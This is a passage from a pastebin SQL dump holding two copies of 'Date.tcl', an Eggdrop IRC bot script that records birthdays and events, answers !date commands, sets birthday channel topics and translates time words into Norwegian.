$arg 4]]} { \r\n		regsub {:} [lindex $arg 4] { } time\r\n		putserv "PRIVMSG $nick :[setdate [string tolower [lindex $arg 0]] [lindex $time 1] [lindex $time 0] [string toupper [lindex $arg 1]] [lindex $arg 2] [lindex $arg 3] e $nick $host [lrange $arg 5 end]]" \r\n		return 1\r\n	}\r\n	putserv "PRIVMSG $nick :[setdate [string tolower [lindex $arg 0]] 00 00 [string toupper [lindex $arg 1]] [lindex $arg 2] [lindex $arg 3] e $nick $host [lrange $arg 4 end]]"\r\n	return 1\r\n}	\r\n	\r\n## proc which provides the help \r\n\r\nproc datehelp {nick} {\r\n	global evdatever\r\n	putserv "NOTICE $nick :Help of Date.tcl version $evdatever"\r\n	putserv "NOTICE $nick :To input your birthday: !date <month> <day> <year> \\[other chan\\]"\r\n	putserv "NOTICE $nick :To input an event: !date <event> <month> <day> <year> [time] <description>"\r\n	putserv "NOTICE $nick :<month> like Jan, Feb, etc. The other chans that you can input are chans where I put your birthday in the topic."\r\n	putserv "NOTICE $nick :example 1: You''re birthday is October 2 1981 and you want it in the topic of #foo and #bar (note: I must be ops in those chans to let me set the topic :-)). You say in #foo: !date Oct 2 1981 #bar" \r\n	putserv "NOTICE $nick :example 2: You''re channelmeeting is Febuary 10 2001 at 19:30. You say: !date mychanmeeting Feb 10 2001 19:00 Meeting of #mychan (Note: the time is in an 24-hour clock. 3pm doesn''t work, 15:00 does. The time isn''t necessary, but might be handy :-))" \r\n	putserv "NOTICE $nick :To request a date: !date <birthday\\\\event>"\r\n	putserv "NOTICE $nick :To remove a date: !date remove <birthday\\\\event>"\r\n	putserv "NOTICE $nick :To see who set the date: !date whoset <birthday\\\\event>"\r\n	return 1\r\n}\r\n\r\n## proc for setting the date	\r\nproc setdate {name min hr mm dd yy type snick shost rest} {\r\n	global datafile\r\n	if {[file exists $datafile]} {\r\n		set datedata [open $datafile r]\r\n		while {![eof $datedata]} {\r\n			set curline [gets $datedata]\r\n			if {[lindex $curline 0] == $name} {\r\n				if {$type == "e"} {\r\n					return "Event already known by me. Remove it first to re-input it."\r\n				}\r\n				if {$type == "b"} {\r\n					return "Your birthday is already known by me. Remove it first to re-input it."\r\n				} \r\n				putlog "Somethings wrong... $name is not a birthday AND not an event."\r\n			}\r\n		}\r\n		close $datedata\r\n	}\r\n        regsub -all {[0-9]} $yy {1} myresult\r\n        if {$myresult != 1111} {\r\n        	return "Wrong year. Please use a year like 2001, 1984, 1945, etc."\r\n        }\r\n	set nmm [lsearch "JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC" $mm]\r\n	if {$nmm == "-1"} {\r\n		return "Wrong month. Please input a month like: Jan, Feb, Mar, etc..."\r\n	}\r\n	if {[expr $yy % 4] == 0} {\r\n                set days "31 29 31 30 31 30 31 31 30 31 30 31"\r\n        } else {\r\n                set days "31 28 31 30 31 30 31 31 30 31 30 31"\r\n        }\r\n        if {[lindex $days $nmm] < $dd || $dd == 0} {\r\n        	return "Wrong day. There is no $dd th day in $mm."\r\n        }\r\n	regsub -all {[0-9]} $min {1} myresult\r\n	if {$myresult != 11} {\r\n		return "Wrong kind of minutes.... a minute is a number between 00 and 60"\r\n	}\r\n	if {$min >= 60} {\r\n		return "Wrong kind of minutes.... a minute is a number between 00 and 60"\r\n	}\r\n	regsub -all {[0-9]} $hr {1} myresult\r\n	if {$myresult != 11} {\r\n		return "Wrong kind of hours.... an hour is a number between 00 and 24"\r\n	}\r\n	if {$hr >= 24} {\r\n		return "Wrong kind of hours.... an hour is a number between 00 and 24"\r\n	}\r\n## writing the data to the file        \r\n        set datedata [open $datafile a]\r\n        puts $datedata "$name $min $hr $mm $dd $yy $type $snick $shost $rest"\r\n        flush $datedata\r\n        close $datedata\r\n        if {$type == "b"} { \r\n		return "$name ''s birthday is $mm $dd $yy"\r\n	}\r\n	if {$type == "e"} {\r\n		return "$name is $mm $dd $yy at $hr:$min,  $rest"\r\n	}\r\n## if you ever see such a line, you really have a problem :-)\r\n	return "Housten, we have a problem."	\r\n}       \r\n\r\n## proc for finding the date\r\nproc getdate {target} {\r\n	global datafile\r\n	if {![file exists $datafile]} {\r\n		return "msg $target is not set \\/ $target has no birthday set"\r\n	}\r\n	set rline ""\r\n	set datedata [open $datafile r]\r\n	while {![eof $datedata]} {		\r\n		set curline [gets $datedata]\r\n		if {[lindex $curline 0] == $target} {\r\n			set rline $curline\r\n		}\r\n	}\r\n	close $datedata\r\n	if {$rline == ""} {\r\n		return "msg $target is not set \\/ $target has no birthday set"\r\n	}\r\n	if {[lindex $rline 6] == "b"} {\r\n		set thisyear [lindex [ctime [unixtime]] 4]\r\n	} else {\r\n		set thisyear [lindex $rline 5]\r\n	}\r\n## If someone is born on 29 Feb. you also need a check for that in this proc. Tcl doesn''t like [clock scan "Feb 29 2001"]  :-)\r\n	if {[lindex $rline 3] == "FEB" && [lindex $rline 4] == "29" && (![expr $thisyear %4] == 0) } {\r\n		set thisdate [clock scan "MAR 1 [lindex $rline 2]:[lindex $rline 1] $thisyear"]\r\n	} else {\r\n		set thisdate [clock scan "[lrange $rline 3 4] [lindex $rline 2]:[lindex $rline 1] $thisyear"] \r\n	}\r\n	if {[lindex $rline 6] == "b"} {\r\n		if {$thisdate < [unixtime]} {\r\n			if {[clock scan "[lindex $rline 3] [expr [lindex $rline 4] + 1] [lindex $rline 2]:[lindex $rline 1]  $thisyear"] > [unixtime]} {\r\n				return "pub $target ''s birthday is TODAY!!! $target is now [expr $thisyear - [lindex $rline 5]]" \r\n			} else { \r\n				set thisyear [expr $thisyear + 1]\r\n				if {[lindex $rline 3] == "FEB" && [lindex $rline 4] == "29" && (![expr $thisyear %4] == 0) } {\r\n					set thisdate [clock scan "MAR 1 [lindex $rline 2]:[lindex $rline 1] $thisyear"]\r\n				} else {\r\n					set thisdate [clock scan "[lrange $rline 3 4] [lindex $rline 2]:[lindex $rline 1] $thisyear"]\r\n				}\r\n			}\r\n		}\r\n		return "pub $target ''s bursdag er om [duration \r\n[expr \r\n$thisdate - [unixtime]]]. $target will be [expr $thisyear - [lindex $rline 5]]"\r\n	} else {\r\n		if {$thisdate < [unixtime]} {\r\n			return "pub $target was [duration [expr [unixtime] - $thisdate]] ago. ([lrange $rline 3 4] [lindex $rline 2]:[lindex $rline 1]) [lrange $rline 9 end]." \r\n		} else {\r\n			return "pub $target is in [duration [expr $thisdate - [unixtime]]]. ([lrange $rline 3 4] [lindex $rline 2]:[lindex $rline 1]) [lrange $rline 9 end]." \r\n		}\r\n	}\r\n## Next line is a quote from "Something''s wrong" from K''s Choice	\r\n	return "msg Your pubic hair ''s on fire!"\r\n}\r\n\r\n## proc for deleting date\r\nproc deldate {target nick host} {\r\n	global datafile date_remove_flag\r\n	if {![file exists $datafile]} {\r\n		return "$target is not set \\/ $target has no birthday set"\r\n	}\r\n	set dates ""\r\n	set datedata [open $datafile r]\r\n	while {![eof $datedata]} {\r\n		set curline [gets $datedata]\r\n		if {$curline != ""} {\r\n			set dates [linsert $dates end $curline]\r\n		}\r\n	}\r\n	close $datedata\r\n	set line "-1"\r\n	set checkthis ""\r\n	foreach date $dates {\r\n		set line [expr $line + 1]\r\n		if {[lindex $date 0] == $target} {\r\n			set checkthis $date\r\n			break\r\n		}\r\n	}\r\n	if {$checkthis == "" } {return "$target is not set \\/ $target has no birthday set"}\r\n	if {[maskhost $host] == [maskhost [lindex $date 8]] || [matchattr [nick2hand $nick] $date_remove_flag]} {\r\n		if {[expr $line >= 0] && [expr $line < [llength $dates]]} {\r\n			set newdata [lreplace $dates $line $line]\r\n			set datedata [open $datafile w]\r\n			foreach newdate $newdata {\r\n				puts $datedata $newdate\r\n			}\r\n			flush $datedata\r\n			close $datedata\r\n			return "$target is deleted"\r\n		} \r\n	} \r\n	putlog "You are not allowed to remove that date."\r\n}\r\n\r\n## proc wich looks everyday for a birthday\r\nbind time - "00 00 * * *" timedate\r\nproc timedate {min hr day month year} {\r\n	global datafile evdtopics\r\n	if {![file exists $datafile]} {\r\n		return 0\r\n	}\r\n	set dates ""\r\n	set datedata [open $datafile r]\r\n	while {![eof $datedata]} {\r\n		set curline [gets $datedata]\r\n		if {$curline != ""} {\r\n			set dates [linsert $dates end $curline]\r\n		}\r\n	}\r\n	close $datedata\r\n	set bdays ""\r\n	foreach date $dates {		\r\n		if {[lindex $date 6] == "b"} {\r\n			if {[string trimleft $day 0] == [string trimleft [lindex $date 4] 0]} {\r\n				set month [string trimleft $month 0]\r\n				if {$month == ""} {set month 0}\r\n				set mnth [lindex "JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC" $month]\r\n				if {$mnth == [string toupper [lindex $date 3]]} {\r\n					set bdays [linsert $bdays end $date]\r\n				}\r\n			}	\r\n		}\r\n	}\r\n	if {$bdays == ""} {return 0}\r\n	set chans ""\r\n	foreach bday $bdays {\r\n		foreach chan [lrange $bday 9 end] {\r\n			lappend name($chan) "[lindex $bday 0],"\r\n			lappend age($chan) "[expr $year - [lindex $bday 5]],"\r\n		}\r\n	}\r\n	foreach chan [array names name] {\r\n		if {[llength $name($chan)] == 1} {\r\n			putserv "TOPIC $chan :[string trimright $name($chan) ,] ''s birthday! [string trimright $name($chan) ,] is now [string trimright $age($chan) ,]"\r\n			return 1\r\n		}\r\n		if {(![regexp {t} [lindex [getchanmode $chan] 0]]) || [botisop $chan]} {	\r\n			set evdtopics($chan-b) [topic $chan]\r\n			putserv "TOPIC $chan :Happy birthday: [string trimright $name($chan) ,]. They are now [string trimright $age($chan) ,]!" \r\n			set evdtopics($chan-a) "Happy birthday: [string trimright $name($chan) ,]. They are now [string trimright $age($chan) ,]!"\r\n			timer 1438 "evdresettopic $chan"\r\n		} else {\r\n			putserv "PRIVMSG $chan :\\002Happy birthday: [string trimright $name($chan) ,]. They are now [string trimright $age($chan) ,]!\\002" \r\n		}\r\n	}	\r\n}	\r\n\r\nproc evdresettopic {chan} {\r\n	global evdtopics\r\n	putlog "[topic $chan] == $evdtopics($chan-a)"\r\n	if {"[topic $chan]" == "$evdtopics($chan-a)"} {\r\n		putserv "TOPIC $chan :$evdtopics($chan-b)"\r\n	}\r\n}		\r\n	\r\n## proc which looksup who set the date\r\nproc whodate {target} {\r\n	global datafile\r\n	if {![file exists $datafile]} {\r\n		return "msg $target is not set \\/ $target has no birthday set"\r\n	}\r\n	set rline ""\r\n	set datedata [open $datafile r]\r\n	while {![eof $datedata]} {		\r\n		set curline [gets $datedata]\r\n		if {[lindex $curline 0] == $target} {\r\n			set rline $curline\r\n		}\r\n	}\r\n	close $datedata\r\n	if {$rline == ""} {\r\n		return "msg $target is not set \\/ $target has no birthday set"\r\n	}\r\n	return "pub $target was set by [lindex $rline 7]![lindex $rline 8]"\r\n}	\r\n\r\nproc telldate {nick host target when} {\r\n	global datafile notefile\r\n}\r\n\r\n\r\n## proc which is called if you don''t run stats.mod 1.3.* \r\n## I use the tcl-command from stats.mod because it autoadds hostnames.\r\nset modcheck "1"\r\nforeach mod [modules] {\r\n	if {[lindex $mod 0] == "stats" && [lindex $mod 1] >= 1.3} {set modcheck "0"} \r\n}\r\nif {$modcheck} {\r\n	proc nick2suser {nick chan} {\r\n		if {[nick2hand $nick $chan] == "\\*" || [nick2hand $nick $chan] == ""} {\r\n			return $nick\r\n		} else {\r\n			return [nick2hand $nick $chan]\r\n		}\r\n	}\r\n}\r\n	\r\n\r\nset evdatever "1.2"\r\nputlog "Date.tcl version $evdatever by Evo|ver loaded"	', 0, 'none', 'Norwegian', '#EggTCL');
INSERT INTO `pastebin` VALUES (2501, 'raidgh0st', '2004-12-17 15:16:05', '#### Date.tcl by Evo|ver @ ircnet\r\n#### Last update Feb 15 2001\r\n#### \r\n#### Purpose of the script: \r\n#### Storing birthdays and events and checking in how many days it is.\r\n#### The script also sets a topic when it''s someones birthday.i\r\n#### The script CAN use stats.mod for recognising people, but it should\r\n#### work well without it. \r\n#### Use !date --help for all the commands. \r\n####\r\n#### Comments, suggestions, fanmail, marriage proposals: evolver@blue.penguin.nl\r\n####\r\n#### Thanks to HCl for testing.\r\n#### Thanks to webmind for some advise about programming.\r\n#### Thanks to #eggdrop @ircnet for... ehm.. the lame times between sleep.\r\n#### Thanks to G`quann for coding stats.mod\r\n#### Thanks to the people at #mainsource @irc.pulltheplug.com for letting me \r\n#### debug the script with HCl.\r\n####\r\n#### Version 1.2	The year of an event wasn''t handled correctly, it \r\n####			took the current year. This caused a bug for events in \r\n####			future years. ;-)\r\n#### Version 1.1 	Had some putlogs that I used for debugging.. forgot \r\n####			to take them out... \r\n####			With an event, the script now also shows the date...\r\n####			people found that that was usefull....\r\n#### Version 1.0	Releasing the script, tested it for a month, no\r\n####			errors so I thought it could be released.\r\n####			Only some changes in the comment.\r\n#### Version 0.7	Finally found a strange bug.. BitchX adds a " " after\r\n####			a nickcompletion (<tab>).\r\n#### Version 0.6	I think it should be wise if I read the manual. \r\n####			Made a stupid mistake with clock scan.... \r\n#### Version 0.5	It''s know possible to set a time for\r\n####			an event. Changes something in the filetype for it. \r\n####			Fixed a bug, there was no check for the year. So you\r\n####			could just enter no year and you didn''t know nothing \r\n####			happened. :-)\r\n####			If someone''s birthday is today, the script will say that\r\n####			in stead of 52 week... when you do !date. \r\n#### Version 0.4	I forgot something in the help.\r\n####			Script now supports a # in the description of an event.\r\n####			Script now says in the channel when it''s someones \r\n####			birthday and it can''t set the topic.\r\n####			Script now sets the topic back after one day.\r\n#### Version 0.3.5	I didn''t fix the timedate bug, now I did!\r\n#### Version 0.3	Cleaned up a bit of my code.\r\n####			Found and fixed a bug in timedate.\r\n####			Fixed another bug in nick2suser\r\n#### Version 0.2	Fixed a bug with 29 Febuary \r\n####			Fixed a bug in my nick2suser replacement\r\n#### Version 0.1	Initial script. \r\n####			Coded from scratch since my own (non-released)\r\n####			bday.tcl would work anymore with stats.mod1.3.x\r\n####\r\n#### Todo		A warning msg a few days/weeks/months/etc before \r\n#### 			a date. So you can send your birthday card on time ;-)	\r\n#### 			To be really nice, I should make !channel support, \r\n####			but who uses those ;-)\r\n####			There should be more features, if someone has an idea..\r\n\r\n## put here the name of the file where the script stores the data\r\nset datafile .datafile\r\nset notefile .notefile\r\n\r\n## the flag someone must have to be able to remove ALL data. \r\n## NOTE: if someone has the same hostmask of the person who set the date\r\n## he will be able to remove the date too, therefor someone IS able to change\r\n## or remove his/her own birthday or an event he/she set, and someone with \r\n## this flag can always do that.\r\nset date_remove_flag n\r\n\r\n## Don''t change anything below, unless you know what you''re doing.\r\n## All guarentee will be lost when changing anything :-P\r\n\r\nbind pub - !date pub_date\r\n\r\n# Oversetter diverse tid til norsk\r\nproc translate {w00t} {\r\n        set translated [string map {years Ã¥r year Ã¥r weeks uker week uke days dager day dag hours timer hour time minutes minutter minute minutt seconds sekunder second sekund} $w00t]\r\n        return $translated\r\n}\r\n\r\n## proc to handle everything with one bind \r\nproc pub_date {nick host hand chan arg} {\r\n	global botnick\r\n	if {[llength $arg] == 0} {\r\n		set reply [getdate [string tolower [nick2suser $nick $chan]]]\r\n		if {[lindex $reply 0] == "pub"} {\r\n			putserv "PRIVMSG $chan :[translate [lrange $reply 1 end]]"\r\n		} else {\r\n			putserv "PRIVMSG $nick :[translate [lrange $reply 1 end]]"\r\n		}	\r\n		return 1\r\n	}\r\n	if {[lindex $arg 0] == "--help"} {\r\n		datehelp $nick\r\n		return 1\r\n	}	\r\n	if {[llength $arg] == 1} {\r\n 		set arg [string trimright $arg " "]\r\n		if {[nick2suser $arg $chan] != "\\*"} {\r\n			set arg [nick2suser $arg $chan]\r\n		}\r\n		set reply [getdate [string tolower $arg]]\r\n		if {[lindex $reply 0] == "pub"} {\r\n			putserv "PRIVMSG $chan :[translate [lrange $reply 1 end]]"\r\n		} else {\r\n			putserv "PRIVMSG $nick :[translate [lrange $reply 1 end]]"\r\n		}	\r\n		return 1\r\n	}\r\n	if {[llength $arg] == 2} {\r\n		if {[lindex $arg 0] == "remove"} {\r\n			putserv "PRIVMSG $nick :[deldate [string tolower [lindex $arg 1]] $nick $host]"\r\n			return 1\r\n		}\r\n		if {[lindex $arg 0] == "whoset"} {\r\n			set reply [whodate [lindex [string tolower $arg] 1]]\r\n			if {[lindex $reply 0] == "pub"} {\r\n				putserv "PRIVMSG $chan :[lrange $reply 1 end]"\r\n			} else {\r\n				putserv "PRIVMSG $nick :[lrange $reply 1 end]"\r\n			}	\r\n			return 1\r\n		}	\r\n		putserv "PRIVMSG $nick :[lindex $arg 0] not a known command. Try !date --help"\r\n		return 1\r\n	}\r\n	if {[llength $arg] == 3} {\r\n		if {[lindex $arg 0] == "-remember"} {\r\n			set targ [lindex $arg 1]\r\n			if {[nick2suser $targ $chan] != "\\*"} {\r\n				set targ [nick2suser $arg $chan]\r\n			}\r\n			putserv "PRIVMSG $nick :[telldate $nick $host [string tolower $targ] [lindex $arg 2]]"	\r\n		}\r\n		putserv "PRIVMSG $nick :[setdate [string tolower [nick2suser $nick $chan]] 00 00 [string toupper [lindex $arg 0]] [lindex $arg 1] [lindex $arg 2] b $nick $host $chan]"\r\n		return 1\r\n	}\r\n	set len [llength [lrange $arg 3 end]]\r\n	set numhash 0\r\n	foreach args [lrange $arg 3 end] {\r\n		if {[regexp (#) $args]} {\r\n			set numhash [expr $numhash + 1]\r\n		}\r\n	}\r\n	if {$numhash == $len} {	\r\n		if {[lsearch [string tolower [lrange $arg 3 end]] $chan] == -1} {\r\n			set chans "[lrange $arg 3 end] $chan"\r\n		} else { \r\n			set chans [lrange $arg 3 end]\r\n		}	\r\n		putserv "PRIVMSG $nick :[setdate [string tolower [nick2suser $nick $chan]] 00 00 [string toupper [lindex $arg 0]] [lindex $arg 1] [lindex $arg 2] b $nick $host $chans]"\r\n		return 1\r\n	}	\r\n	if {[lindex $arg 4] == ""} {\r\n		putserv "PRIVMSG $nick :Please enter a desciption"\r\n		return 0\r\n	}\r\n	if {[regexp {:} [lindex $arg 4]]} { \r\n		regsub {:} [lindex $arg 4] { } time\r\n		putserv "PRIVMSG $nick :[setdate [string tolower [lindex $arg 0]] [lindex $time 1] [lindex $time 0] [string toupper [lindex $arg 1]] [lindex $arg 2] [lindex $arg 3] e $nick $host [lrange $arg 5 end]]" \r\n		return 1\r\n	}\r\n	putserv "PRIVMSG $nick :[setdate [string tolower [lindex $arg 0]] 00 00 [string toupper [lindex $arg 1]] [lindex $arg 2] [lindex $arg 3] e $nick $host [lrange $arg 4 end]]"\r\n	return 1\r\n}	\r\n	\r\n## proc which provides the help \r\n\r\nproc datehelp {nick} {\r\n	global evdatever\r\n	putserv "NOTICE $nick :Help of Date.tcl version $evdatever"\r\n	putserv "NOTICE $nick :To input your birthday: !date <month> <day> <year> \\[other chan\\]"\r\n	putserv "NOTICE $nick :To input an event: !date <event> <month> <day> <year> [time] <description>"\r\n	putserv "NOTICE $nick :<month> like Jan, Feb, etc. The other chans that you can input are chans where I put your birthday in the topic."\r\n	putserv "NOTICE $nick :example 1: You''re birthday is October 2 1981 and you want it in the topic of #foo and #bar (note: I must be ops in those chans to let me set the topic :-)). You say in #foo: !date Oct 2 1981 #bar" \r\n	putserv "NOTICE $nick :example 2: You''re channelmeeting is Febuary 10 2001 at 19:30. You say: !date mychanmeeting Feb 10 2001 19:00 Meeting of #mychan (Note: the time is in an 24-hour clock. 3pm doesn''t work, 15:00 does. The time isn''t necessary, but might be handy :-))" \r\n	putserv "NOTICE $nick :To request a date: !date <birthday\\\\event>"\r\n	putserv "NOTICE $nick :To remove a date: !date remove <birthday\\\\event>"\r\n	putserv "NOTICE $nick :To see who set the date: !date whoset <birthday\\\\event>"\r\n	return 1\r\n}\r\n\r\n## proc for setting the date	\r\nproc setdate {name min hr mm dd yy type snick shost rest} {\r\n	global datafile\r\n	if {[file exists $datafile]} {\r\n		set datedata [open $datafile r]\r\n		while {![eof $datedata]} {\r\n			set curline [gets $datedata]\r\n			if {[lindex $curline 0] == $name} {\r\n				if {$type == "e"} {\r\n					return "Event already known by me. Remove it first to re-input it."\r\n				}\r\n				if {$type == "b"} {\r\n					return "Your birthday is already known by me. Remove it first to re-input it."\r\n				} \r\n				putlog "Somethings wrong... $name is not a birthday AND not an event."\r\n			}\r\n		}\r\n		close $datedata\r\n	}\r\n        regsub -all {[0-9]} $yy {1} myresult\r\n        if {$myresult != 1111} {\r\n        	return "Wrong year. Please use a year like 2001, 1984, 1945, etc."\r\n        }\r\n	set nmm [lsearch "JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC" $mm]\r\n	if {$nmm == "-1"} {\r\n		return "Wrong month. Please input a month like: Jan, Feb, Mar, etc..."\r\n	}\r\n	if {[expr $yy % 4] == 0} {\r\n                set days "31 29 31 30 31 30 31 31 30 31 30 31"\r\n        } else {\r\n                set days "31 28 31 30 31 30 31 31 30 31 30 31"\r\n        }\r\n        if {[lindex $days $nmm] < $dd || $dd == 0} {\r\n        	return "Wrong day. There is no $dd th day in $mm."\r\n        }\r\n	regsub -all {[0-9]} $min {1} myresult\r\n	if {$myresult != 11} {\r\n		return "Wrong kind of minutes.... a minute is a number between 00 and 60"\r\n	}\r\n	if {$min >= 60} {\r\n		return "Wrong kind of minutes.... a minute is a number between 00 and 60"\r\n	}\r\n	regsub -all {[0-9]} $hr {1} myresult\r\n	if {$myresult != 11} {\r\n		return "Wrong kind of hours.... an hour is a number between 00 and 24"\r\n	}\r\n	if {$hr >= 24} {\r\n		return "Wrong kind of hours.... an hour is a number between 00 and 24"\r\n	}\r\n## writing the data to the file        \r\n        set datedata [open $datafile a]\r\n        puts $datedata "$name $min $hr $mm $dd $yy $type $snick $shost $rest"\r\n        flush $datedata\r\n        close $datedata\r\n        if {$type == "b"} { \r\n		return "$name ''s birthday is $mm $dd $yy"\r\n	}\r\n	if {$type == "e"} {\r\n		return "$name is $mm $dd $yy at $hr:$min,  $rest"\r\n	}\r\n## if you ever see such a line, you really have a problem :-)\r\n	return "Housten, we have a problem."	\r\n}       \r\n\r\n## proc for finding the date\r\nproc getdate {target} {\r\n	global datafile\r\n	if {![file exists $datafile]} {\r\n		return "msg $target is not set \\/ $target has no birthday set"\r\n	}\r\n	set rline ""\r\n	set datedata [open $datafile r]\r\n	while {![eof $datedata]} {		\r\n		set curline [gets $datedata]\r\n		if {[lindex $curline 0] == $target} {\r\n			set rline $curline\r\n		}\r\n	}\r\n	close $datedata\r\n	if {$rline == ""} {\r\n		return "msg $target is not set \\/ $target has no birthday set"\r\n	}\r\n	if {[lindex $rline 6] == "b"} {\r\n		set thisyear [lindex [ctime [unixtime]] 4]\r\n	} else {\r\n		set thisyear [lindex $rline 5]\r\n	}\r\n## If someone is born on 29 Feb. you also need a check for that in this proc. Tcl doesn''t like [clock scan "Feb 29 2001"]  :-)\r\n	if {[lindex $rline 3] == "FEB" && [lindex $rline 4] == "29" && (![expr $thisyear %4] == 0) } {\r\n		set thisdate [clock scan "MAR 1 [lindex $rline 2]:[lindex $rline 1] $thisyear"]\r\n	} else {\r\n		set thisdate [clock scan "[lrange $rline 3 4] [lindex $rline 2]:[lindex $rline 1] $thisyear"] \r\n	}\r\n	if {[lindex $rline 6] == "b"} {\r\n		if {$thisdate < [unixtime]} {\r\n			if {[clock scan "[lindex $rline 3] [expr [lindex $rline 4] + 1] [lindex $rline 2]:[lindex $rline 1]  $thisyear"] > [unixtime]} {\r\n				return "pub $target ''s birthday is TODAY!!! $target is now [expr $thisyear - [lindex $rline 5]]" \r\n			} else { \r\n				set thisyear [expr $thisyear + 1]\r\n				if {[lindex $rline 3] == "FEB" && [lindex $rline 4] == "29" && (![expr $thisyear %4] == 0) } {\r\n					set thisdate [clock scan "MAR 1 [lindex $rline 2]:[lindex $rline 1] $thisyear"]\r\n				} else {\r\n					set thisdate [clock scan "[lrange $rline 3 4] [lindex $rline 2]:[lindex $rline 1] $thisyear"]\r\n				}\r\n			}\r\n		}\r\n		return "pub $target ''s bursdag er om [duration [expr $thisdate - [unixtime]]]. $target vil bli [expr $thisyear - [lindex $rline 5]]"\r\n	} else {\r\n		if {$thisdate < [unixtime]} {\r\n			return "pub $target was [duration [expr [unixtime] - $thisdate]] ago. ([lrange $rline 3 4] [lindex $rline 2]:[lindex $rline 1]) [lrange $rline 9 end]." \r\n		} else {\r\n			return "pub $target is in [duration [expr $thisdate - [unixtime]]]. ([lrange $rline 3 4] [lindex $rline 2]:[lindex $rline 1]) [lrange $rline 9 end]." \r\n		}\r\n	}\r\n## Next line is a quote from "Something''s wrong" from K''s Choice	\r\n	return "msg Your pubic hair ''s on fire!"\r\n}\r\n\r\n## proc for deleting date\r\nproc deldate {target nick host} {\r\n	global datafile date_remove_flag\r\n	if {![file exists $datafile]} {\r\n		return "$target is not set \\/ $target has no birthday set"\r\n	}\r\n	set dates ""\r\n	set datedata [open $datafile r]\r\n	while {![eof $datedata]} {\r\n		set curline [gets $datedata]\r\n		if {$curline != ""} {\r\n			set dates [linsert $dates end $curline]\r\n		}\r\n	}\r\n	close $datedata\r\n	set line "-1"\r\n	set checkthis ""\r\n	foreach date $dates {\r\n		set line [expr $line + 1]\r\n		if {[lindex $date 0] == $target} {\r\n			set checkthis $date\r\n			break\r\n		}\r\n	}\r\n	if {$checkthis == "" } {return "$target is not set \\/ $target has no birthday set"}\r\n	if {[maskhost $host] == [maskhost [lindex $date 8]] || [matchattr [nick2hand $nick] $date_remove_flag]} {\r\n		if {[expr $line >= 0] && [expr $line < [llength $dates]]} {\r\n			set newdata [lreplace $dates $line $line]\r\n			set datedata [open $datafile w]\r\n			foreach newdate $newdata {\r\n				puts $datedata $newdate\r\n			}\r\n			flush $datedata\r\n			close $datedata\r\n			return "$target is deleted"\r\n		} \r\n	} \r\n	putlog "You are not allowed to remove that date."\r\n}\r\n\r\n## proc wich looks everyday for a birthday\r\nbind time - "00 00 * * *" timedate\r\nproc timedate {min hr day month year} {\r\n	global datafile evdtopics\r\n	if {![file exists $datafile]} {\r\n		return 0\r\n	}\r\n	set dates ""\r\n	set datedata [open $datafile r]\r\n	while {![eof $datedata]} {\r\n		set curline [gets $datedata]\r\n		if {$curline != ""} {\r\n			set dates [linsert $dates end $curline]\r\n		}\r\n	}\r\n	close $datedata\r\n	set bdays ""\r\n	foreach date $dates {		\r\n		if {[lindex $date 6] == "b"} {\r\n			if {[string trimleft $day 0] == [string trimleft [lindex $date 4] 0]} {\r\n				set month [string trimleft $month 0]\r\n				if {$month == ""} {set month 0}\r\n				set mnth [lindex "JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC" $month]\r\n				if {$mnth == [string toupper [lindex $date 3]]} {\r\n					set bdays [linsert $bdays end $date]\r\n				}\r\n			}	\r\n		}\r\n	}\r\n	if {$bdays == ""} {return 0}\r\n	set chans ""\r\n	foreach bday $bdays {\r\n		foreach chan [lrange $bday 9 end] {\r\n			lappend name($chan) "[lindex $bday 0],"\r\n			lappend age($chan) "[expr $year - [lindex $bday 5]],"\r\n		}\r\n	}\r\n	foreach chan [array names name] {\r\n		if {[llength $name($chan)] == 1} {\r\n			putserv "TOPIC $chan :[string trimright $name($chan) ,] ''s birthday! [string trimright $name($chan) ,] is now [string trimright $age($chan) ,]"\r\n			return 1\r\n		}\r\n		if {(![regexp {t} [lindex [getchanmode $chan] 0]]) || [botisop $chan]} {	\r\n			set evdtopics($chan-b) [topic $chan]\r\n			putserv "TOPIC $chan :Happy birthday: [string trimright $name($chan) ,]. They are now [string trimright $age($chan) ,]!" \r\n			set evdtopics($chan-a) "Happy birthday: [string trimright $name($chan) ,]. They are now [string trimright $age($chan) ,]!"\r\n			timer 1438 "evdresettopic $chan"\r\n		} else {\r\n			putserv "PRIVMSG $chan :\\002Happy birthday: [string trimright $name($chan) ,]. They are now [string trimright $age($chan) ,]!\\002" \r\n		}\r\n	}	\r\n}	\r\n\r\nproc evdresettopic {chan} {\r\n	global evdtopics\r\n	putlog "[topic $chan] == $evdtopics($chan-a)"\r\n	if {"[topic $chan]" == "$evdtopics($chan-a)"} {\r\n		putserv "TOPIC $chan :$evdtopics($chan-b)"\r\n	}\r\n}		\r\n	\r\n## proc which looksup who set the date\r\nproc whodate {target} {\r\n	global datafile\r\n	if {![file exists $datafile]} {\r\n		return "msg $target is not set \\/ $target has no birthday set"\r\n	}\r\n	set rline ""\r\n	set datedata [open $datafile r]\r\n	while {![eof $datedata]} {		\r\n		set curline [gets $datedata]\r\n		if {[lindex $curline 0] == $target} {\r\n			set rline $curline\r\n		}\r\n	}\r\n	close $datedata\r\n	if {$rline == ""} {\r\n		return "msg $target is not set \\/ $target has no birthday set"\r\n	}\r\n	return "pub $target was set by [lindex $rline 7]![lindex $rline 8]"\r\n}	\r\n\r\nproc telldate {nick host target when} {\r\n	global datafile notefile\r\n}\r\n\r\n\r\n## proc which is called if you don''t run stats.mod 1.3.* \r\n## I use the tcl-command from stats.mod because it autoadds hostnames.\r\nset modcheck "1"\r\nforeach mod [modules] {\r\n	if {[lindex $mod 0] == "stats" && [lindex $mod 1] >= 1.3} {set modcheck "0"} \r\n}\r\nif {$modcheck} {\r\n	proc nick2suser {nick chan} {\r\n		if {[nick2hand $nick $chan] == "\\*" || [nick2hand $nick $chan] == ""} {\r\n			return $nick\r\n		} else {\r\n			return [nick2hand $nick $chan]\r\n		}\r\n	}\r\n}\r\n	\r\n\r\nset evdatever "1.2"\r\nputlog "Date.tcl version $evdatever by Evo|ver loaded"			\r\n', 0, 'tcl', 'scriptet', '#EggTCL');
